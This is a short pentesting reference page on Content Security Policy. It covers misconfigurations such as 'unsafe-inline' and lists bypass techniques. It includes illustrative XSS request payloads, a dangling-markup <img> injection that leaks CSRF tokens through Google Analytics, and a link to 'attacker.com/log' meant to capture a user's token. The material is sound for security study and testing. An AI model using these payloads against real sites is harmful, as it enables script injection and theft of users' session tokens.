Content Security Policy Back

Security related information and use within the scope of pentesting


Description

Content Security Policy (short: CSP) is a security standard that helps to detect and stop certain types of client-based attacks like Cross Site Scripting and Click-jacking from executing in trusted web page context [1]. For enabling CSP the web server must return the Content-Security-Policy' HTTP header, or alternatively a <meta> element used for configuring a policy [2].


Misconfigurations

You can use Googles CSP Evaluator to quickly check if a misconfiguration exists (I will also write a little Python script for that). A declaration like script-src 'unsafe-inline' allows to inject inline-script like <script>alert(1);</script> and therefore does not prevent XSS.


Common tips and tricks
  • Declaring a CSP via <meta> element allows you to block communication done by the web application (or a denial of service [7]). This might come handy if you want to restrict an applications redirection [6].
  • Sometimes different endpoints of the same domain aren't implementing CSP. Therefore check carefully the HTTP response headers
  • If you need a PoC but don't have a CSP bypass, use IE11 to demonstrate your vulnerability!

Bypasses

A CSP denying unsafe-inline for outer origins can be bypassed if two vulnerable (e.g. XSS; one have to be reflected inline or under Content-Type: application/javascript) endpoints are present [3].
Illustration:

GET test.com/vulnerable=<script>alert(1)</script> //blocked
GET sub.test.com/vulnerable=alert(1) //blocked
GET test.com/vulnerable=<script src=//sub.test.com/vulnerable=alert(1)></script> //bypassed

A CSP that whitelists google-analytics.com can be used for logging sensitive content by injecting a non-closed <img> element into the page. This method requires to 1. setup a Google Analytics account and then 2. injecting the image referencing to the account into the DOM by e.g. using a HTML Injection or XSS [4].

Illustration:

GET test.com/vulnerable=<img src='//google-analytics.com/collect/[...]?ea=
(DOM view):

<img src='//google-analytics.com/collect/[...]?ea=
<input type='hidden' name='token' value='0x000001337'>

The whole element will be captured including the token until the next apostrophe ' (which closes the <img> element).


A CSP can be bypassed for leaking CSRF tokens when a custom JS event-handler and a HTML Injection are available. Let's assume there is a click-handler called authenticity_token (Rails) which submits a default POST-request within the application (anti-CSRF secured). By spawning an <a> element including that handler <a href="attacker.com/log" data-href="POST">Click</a> we are able to fetch the users token after interaction without violating the CSP [5].